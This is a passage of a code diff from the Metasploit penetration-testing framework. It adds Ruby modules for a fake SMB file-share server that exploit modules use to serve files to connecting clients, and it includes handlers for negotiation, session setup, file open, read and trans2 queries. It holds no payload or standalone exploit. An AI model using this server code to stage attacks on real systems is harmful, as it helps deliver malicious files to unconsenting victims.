CONST::SMB_WRITE_ACCESS |
|
||||
CONST::SMB_APPEND_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_WRITE_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_DELETE_CHILD_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_DELETE_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_WRITE_DAC_ACCESS |
|
||||
CONST::SMB_WRITE_OWNER_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
# @!attribute share
|
||||
# @return [String] The share portion of the provided UNC.
|
||||
attr_accessor :share
|
||||
# @!attribute folder_name
|
||||
# @return [String] The folder where the provided file lives.
|
||||
attr_accessor :folder_name
|
||||
# @!attribute file_name
|
||||
# @return [String] The file name of the provided UNC.
|
||||
attr_accessor :file_name
|
||||
# @!attribute hi
|
||||
# @return [Fixnum] The high 4 bytes for the file 'created time'.
|
||||
attr_accessor :hi
|
||||
# @!attribute lo
|
||||
# @return [Fixnum] The low 4 bytes for the file 'created time'.
|
||||
attr_accessor :lo
|
||||
# @!attribute file_contents
|
||||
# @return [String] The contents of the provided file
|
||||
attr_accessor :file_contents
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARE', [ false, 'Share (Default Random)']),
|
||||
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
|
||||
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
|
||||
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
|
||||
], Msf::Exploit::Remote::SMB::Server::Share)
|
||||
end
|
||||
|
||||
# Setups the server configuration.
|
||||
def setup
|
||||
super
|
||||
|
||||
self.folder_name = datastore['FOLDER_NAME']
|
||||
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
|
||||
t = Time.now.to_i
|
||||
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
|
||||
|
||||
# The module has an opportunity to set up the file contents in the "primer callback"
|
||||
if datastore['FILE_CONTENTS']
|
||||
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
|
||||
else
|
||||
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
|
||||
end
|
||||
end
|
||||
|
||||
# Builds the UNC Name for the shared file
|
||||
def unc
|
||||
if folder_name
|
||||
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
|
||||
else
|
||||
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
|
||||
end
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
# Builds the server address.
|
||||
#
|
||||
# @return [String] The server address.
|
||||
def srvhost
|
||||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# New connection handler, executed when there is a new conneciton.
|
||||
#
|
||||
# @param c [Socket] The client establishing the connection.
|
||||
# @return [Hash] The hash with the client data initialized.
|
||||
def smb_conn(c)
|
||||
@state[c] = {
|
||||
:name => "#{c.peerhost}:#{c.peerport}",
|
||||
:ip => c.peerhost,
|
||||
:port => c.peerport,
|
||||
:multiplex_id => rand(0xffff),
|
||||
:process_id => rand(0xffff),
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
end
|
||||
|
||||
# Main dispatcher function. Takes the client data and performs a case switch
|
||||
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
|
||||
#
|
||||
# @param cmd [Fixnum] The SMB Command requested.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
return smb_cmd_negotiate(c, buff)
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
word_count = pkt['Payload']['SMB'].v['WordCount']
|
||||
if word_count == 0x0d # Share Security Mode sessions
|
||||
return smb_cmd_session_setup_andx(c, buff)
|
||||
else
|
||||
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
when CONST::SMB_COM_TRANSACTION2
|
||||
return smb_cmd_trans2(c, buff)
|
||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
||||
return smb_cmd_nt_create_andx(c, buff)
|
||||
when CONST::SMB_COM_READ_ANDX
|
||||
return smb_cmd_read_andx(c, buff)
|
||||
when CONST::SMB_COM_CLOSE
|
||||
return smb_cmd_close(c, buff)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
require 'msf/core/exploit/smb/server/share/command/close'
|
||||
require 'msf/core/exploit/smb/server/share/command/negotiate'
|
||||
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/read_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Close
|
||||
|
||||
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
|
||||
# of an object associated with a valid FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_close(c, buff)
|
||||
send_close_res(c)
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_close_res(c)
|
||||
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Negotiate
|
||||
|
||||
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
|
||||
# SMB connection between the client and the server.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
||||
|
||||
send_negotitate_res(c, {
|
||||
dialect: dialect,
|
||||
security_mode: CONST::NEG_SECURITY_PASSWORD,
|
||||
max_mpx: 50,
|
||||
max_vcs: 1,
|
||||
max_buff: 4356,
|
||||
max_raw: 65536,
|
||||
server_time_zone: 0,
|
||||
capabilities: CAPABILITIES,
|
||||
key_length: 8,
|
||||
key: Rex::Text.rand_text_hex(8)
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
|
||||
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
|
||||
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
|
||||
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
|
||||
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
|
||||
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
|
||||
# @option opts [Fixnum] :server_time_zone The server's time zone.
|
||||
# @option opts [Fixnum] :capabilities The server capability indicators.
|
||||
# @option opts [Fixnum] :key_length The challenge length.
|
||||
# @option opts [String] :key The challenge.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_negotitate_res(c, opts = {})
|
||||
dialect = opts[:dialect] || 0
|
||||
security_mode = opts[:security_mode] || 0
|
||||
max_mpx = opts[:max_mpx] || 0
|
||||
max_vcs = opts[:max_vcs] || 0
|
||||
max_buff = opts[:max_buff] || 0
|
||||
max_raw = opts[:max_raw] || 0
|
||||
server_time_zone = opts[:server_time_zone] || 0
|
||||
capabilities = opts[:capabilities] || 0
|
||||
key_length = opts[:key_length] || 0
|
||||
key = opts[:key] || ''
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = security_mode
|
||||
pkt['Payload'].v['MaxMPX'] = max_mpx
|
||||
pkt['Payload'].v['MaxVCS'] = max_vcs
|
||||
pkt['Payload'].v['MaxBuff'] = max_buff
|
||||
pkt['Payload'].v['MaxRaw'] = max_raw
|
||||
pkt['Payload'].v['SystemTimeLow'] = lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = hi
|
||||
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['Capabilities'] = capabilities
|
||||
pkt['Payload'].v['KeyLength'] = key_length
|
||||
pkt['Payload'].v['Payload'] = key
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,110 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module NtCreateAndx
|
||||
|
||||
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
|
||||
# open a new file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_nt_create_andx(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
payload = (pkt['Payload'].v['Payload']).downcase
|
||||
payload.gsub!(/^[\x00]*/, '') # delete padding
|
||||
payload = Rex::Text.ascii_safe_hex(payload)
|
||||
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
if payload.nil? || payload.empty?
|
||||
payload = file_name
|
||||
end
|
||||
|
||||
if payload.ends_with?(file_name.downcase)
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
|
||||
fid = smb[:file_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
eof = file_contents.length
|
||||
is_dir = 0
|
||||
elsif folder_name && payload.ends_with?(folder_name.downcase)
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
elsif payload == "\\"
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
else
|
||||
# Otherwise send not found
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
|
||||
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_nt_create_andx_res(c, {
|
||||
file_id: fid,
|
||||
attributes: attribs,
|
||||
end_of_file_low: eof,
|
||||
is_directory: is_dir,
|
||||
alloc_low: 0x100000
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
|
||||
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
|
||||
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
|
||||
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
|
||||
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_nt_create_andx_res(c, opts = {})
|
||||
file_id = opts[:file_id] || 0
|
||||
attributes = opts[:attributes] || 0
|
||||
end_of_file_low = opts[:end_of_file_low] || 0
|
||||
is_directory = opts[:is_directory] || 0
|
||||
alloc_low = opts[:alloc_low] || 0
|
||||
|
||||
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
|
||||
pkt['Payload'].v['FileID'] = file_id
|
||||
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
|
||||
pkt['Payload'].v['CreateTimeLow'] = lo
|
||||
pkt['Payload'].v['CreateTimeHigh'] = hi
|
||||
pkt['Payload'].v['AccessTimeLow'] = lo
|
||||
pkt['Payload'].v['AccessTimeHigh'] = hi
|
||||
pkt['Payload'].v['WriteTimeLow'] = lo
|
||||
pkt['Payload'].v['WriteTimeHigh'] = hi
|
||||
pkt['Payload'].v['ChangeTimeLow'] = lo
|
||||
pkt['Payload'].v['ChangeTimeHigh'] = hi
|
||||
pkt['Payload'].v['Attributes'] = attributes
|
||||
pkt['Payload'].v['AllocLow'] = alloc_low
|
||||
pkt['Payload'].v['AllocHigh'] = 0
|
||||
pkt['Payload'].v['EOFLow'] = end_of_file_low
|
||||
pkt['Payload'].v['EOFHigh'] = 0
|
||||
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
|
||||
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
|
||||
pkt['Payload'].v['IsDirectory'] = is_directory
|
||||
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module ReadAndx
|
||||
|
||||
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
|
||||
# file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_read_andx(c, buff)
|
||||
pkt = CONST::SMB_READ_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
offset = pkt['Payload'].v['Offset']
|
||||
length = pkt['Payload'].v['MaxCountLow']
|
||||
|
||||
send_read_andx_res(c, {
|
||||
data_len_low: length,
|
||||
byte_count: length,
|
||||
data: file_contents[offset, length]
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
|
||||
# @option opts [Fixnum] :byte_count The length of the file data sent back.
|
||||
# @option opts [String] :data The bytes read from the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_read_andx_res(c, opts = {})
|
||||
data_len_low = opts[:data_len_low] || 0
|
||||
byte_count = opts[:byte_count] || 0
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['Remaining'] = 0xffff
|
||||
pkt['Payload'].v['DataLenLow'] = data_len_low
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['Reserved3'] = 0
|
||||
pkt['Payload'].v['Reserved4'] = 0x0a
|
||||
pkt['Payload'].v['ByteCount'] = byte_count
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,87 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
# @todo Add support to only allow session setup against the configured shared resource
|
||||
module SessionSetupAndx
|
||||
|
||||
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_session_setup_andx(c, buff)
|
||||
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
|
||||
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
|
||||
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
tree_connect_response.v['AndXReserved'] = 0
|
||||
tree_connect_response.v['AndXOffset'] = 0
|
||||
tree_connect_response.v['OptionalSupport'] = 1
|
||||
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
|
||||
tree_connect_response.v['GuestAccessRights'] = 0
|
||||
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
|
||||
|
||||
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
||||
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
||||
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
|
||||
|
||||
send_session_setup_andx_res(c, {
|
||||
action: CONST::SMB_SETUP_GUEST,
|
||||
data: data,
|
||||
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
|
||||
andx_offset: 96,
|
||||
andx_command: tree_connect_response
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
|
||||
# @option opts [Fixnum] :action SMB Configuration result.
|
||||
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
|
||||
# of the WordCount field in the next SMBCommand.
|
||||
# @option opts [Fixnum] :reserved Reserved field.
|
||||
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
|
||||
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
|
||||
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_session_setup_andx_res(c, opts = {})
|
||||
action = opts[:action] || 0
|
||||
andx_offset = opts[:andx_offset] || 0
|
||||
reserved = opts[:reserved] || 0
|
||||
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
data = opts[:data] || ''
|
||||
andx_command = opts[:andx_command] || nil
|
||||
|
||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = andx
|
||||
pkt['Payload'].v['Reserved1'] = reserved
|
||||
pkt['Payload'].v['AndXOffset'] = andx_offset
|
||||
pkt['Payload'].v['Action'] = action
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
if andx_command
|
||||
full_pkt = pkt.to_s + andx_command.to_s
|
||||
original_length = full_pkt[2, 2].unpack('n')[0]
|
||||
original_length = original_length + andx_command.to_s.length
|
||||
full_pkt[2, 2] = [original_length].pack('n')
|
||||
else
|
||||
full_pkt = pkt.to_s
|
||||
end
|
||||
|
||||
c.put(full_pkt)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
|
||||
|
||||
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
|
||||
# server-side file system handling.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
|
||||
data_trans2.from_s(pkt['Payload'].v['SetupData'])
|
||||
|
||||
sub_command = data_trans2.v['SubCommand']
|
||||
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
|
||||
|
||||
case sub_command
|
||||
when CONST::TRANS2_QUERY_FILE_INFO
|
||||
return smb_cmd_trans2_query_file_information(c, parameters)
|
||||
when CONST::TRANS2_QUERY_PATH_INFO
|
||||
return smb_cmd_trans2_query_path_information(c, parameters)
|
||||
when CONST::TRANS2_FIND_FIRST2
|
||||
return smb_cmd_trans2_find_first2(c, parameters)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
|
||||
end
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_TRANSACTION2 response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
|
||||
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_trans2_res(c, parameters, data)
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
|
||||
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
|
||||
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
|
||||
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
|
||||
pkt['Payload'].v['DataCount'] = data.to_s.length
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
|
||||
pkt['Payload'].v['Payload'] =
|
||||
parameters.to_s +
|
||||
data.to_s
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
# Converts the path to ascii from unicode and normalizes.
|
||||
#
|
||||
# @param path [String] The path to normalize.
|
||||
# @return [String] The normalized path.
|
||||
def normalize_path(path)
|
||||
normalized = Rex::Text.to_ascii(path).downcase
|
||||
normalized.gsub!(/[\x00]*/, '') #delete padding
|
||||
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
normalized
|
||||
end
|
||||
|
||||
# Expands a path with wildcards, and returns the set of matching files.
|
||||
#
|
||||
# @param path [String] the path to expand
|
||||
# @return [String] The matching file.
|
||||
# @todo It's a shortcut atm, make complete wildcard handling.
|
||||
# @todo return an Array of matching files.
|
||||
def smb_expand(path)
|
||||
search_path = path.gsub(/<\./, '*.') # manage wildcards
|
||||
extension = File.extname(file_name)
|
||||
if search_path =~ /\\\*#{extension}$/
|
||||
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
|
||||
end
|
||||
|
||||
search_path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module FindFirst2
|
||||
|
||||
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
|
||||
# directory or for a directory.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_find_first2(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
normalized_path = normalize_path(params.v['FileName'])
|
||||
